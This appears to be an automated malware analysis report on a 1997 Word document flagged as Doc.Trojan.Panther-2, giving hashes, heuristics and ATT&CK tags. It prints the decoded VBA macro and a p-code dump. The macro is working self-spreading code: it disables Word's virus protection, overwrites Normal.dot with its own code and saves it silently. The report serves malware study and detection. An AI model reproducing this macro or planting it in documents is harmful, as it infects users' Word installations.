Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b99390a0be586aa0…

MALICIOUS

Office (OLE)

33.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 79977213946091958743eb036d55d34b SHA-1: fd6c7cd94f705606d613701d226175589ec58a21 SHA-256: b99390a0be586aa0988e80b740ebafe56dc2bd85f7a3df71f1ace72c30e9e938
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing VBA macros. The Document_Open macro attempts to modify the Normal.dot template by replacing its content with obfuscated code. This behavior suggests an attempt to establish persistence or spread the malicious macro to other documents. The ClamAV detection of 'Doc.Trojan.Panther-2' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Panther-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Panther-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4964 bytes
SHA-256: dadf3bdeb11b6073fdc7681cc082a16e70a429839bb3843fd97f43bce50f6d11
Detection
ClamAV: Doc.Trojan.Panther-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()

End Sub

Private Sub Document_New()

End Sub

Private Sub Document_Open()
    Dim code As String
    If Left$(NormalTemplate.Name, 8) <> "Document" Then
        Options.VirusProtection = False
        With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
            code = .Lines(1, .CountOfLines)
            ReplaceTemplate code, "Normal", "Template", "Happy", "Panther"
            ReplaceTemplate code, "Active", "Document", "Normal", "Template"
            ReplaceTemplate code, "Happy", "Panther", "Active", "Document"
            With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
                .DeleteLines 1, .CountOfLines
                .AddFromString code
            End With
        End With
        Options.SaveNormalPrompt = False
        If InStr("NormalTemplate", "Document") > 0 Then
                        NormalTemplate.Save
        End If
    End If
End Sub
Private Sub ReplaceTemplate(target As String, prepre As String, prepost As String, postpre As String, postpost As String)
    Dim index As Long, pre As String, post As String, preLen As Long
    
    pre = prepre + prepost
    post = postpre + postpost
    
    index = 1
    preLen = Len(pre)
    
    While InStr(index, target, pre) <> 0
        index = InStr(index, target, pre)
        target = Left(target, index - 1) + post + Mid$(target, index + preLen)
        index = index + 1
    Wend
End Sub

' Processing file: /opt/analyzer/scan_staging/7e8fd8a14b0146bd80ceab17df504755.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3321 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' Line #2:
' 	EndSub 
' Line #3:
' Line #4:
' 	FuncDefn (Private Sub Document_New())
' Line #5:
' Line #6:
' 	EndSub 
' Line #7:
' Line #8:
' 	FuncDefn (Private Sub Document_Open())
' Line #9:
' 	Dim 
' 	VarDefn code (As String)
' Line #10:
' 	Ld NormalTemplate 
' 	MemLd New 
' 	LitDI2 0x0008 
' 	ArgsLd LBound$ 0x0002 
' 	LitStr 0x0008 "Document"
' 	Ne 
' 	IfBlock 
' Line #11:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #12:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #13:
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	ArgsMemLdWith Lines 0x0002 
' 	St code 
' Line #14:
' 	Ld code 
' 	LitStr 0x0006 "Normal"
' 	LitStr 0x0008 "Template"
' 	LitStr 0x0005 "Happy"
' 	LitStr 0x0007 "Panther"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #15:
' 	Ld code 
' 	LitStr 0x0006 "Active"
' 	LitStr 0x0008 "Document"
' 	LitStr 0x0006 "Normal"
' 	LitStr 0x0008 "Template"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #16:
' 	Ld code 
' 	LitStr 0x0005 "Happy"
' 	LitStr 0x0007 "Panther"
' 	LitStr 0x0006 "Active"
' 	LitStr 0x0008 "Document"
' 	ArgsCall ReplaceTemplate 0x0005 
' Line #17:
' 	StartWithExpr 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	With 
' Line #18:
' 	LitDI2 0x0001 
' 	MemLdWith CountOfLines 
' 	ArgsMemCallWith DeleteLines 0x0002 
' Line #19:
' 	Ld code 
' 	ArgsMemCallWith AddFromString 0x0001 
' Line #20:
' 	EndWith 
' Line #21:
' 	EndWith 
' Line #22:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #23:
' 	LitStr 0x000E "NormalTemplate"
' 	LitStr 0x0008 "Document"
' 	FnInStr 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #24:
' 	Ld NormalTemplate 
' 	ArgsMemCall Save 0x0000 
' Line #25:
' 	EndIfBlock 
' Line #26:
' 	EndIfBlock 
' Line #27:
' 	EndSub 
' Line #28:
' 	FuncDefn (Private Sub ReplaceTemplate(target As String, prepre As String, prepost As String, postpre As String, postpost As String))
... (truncated)

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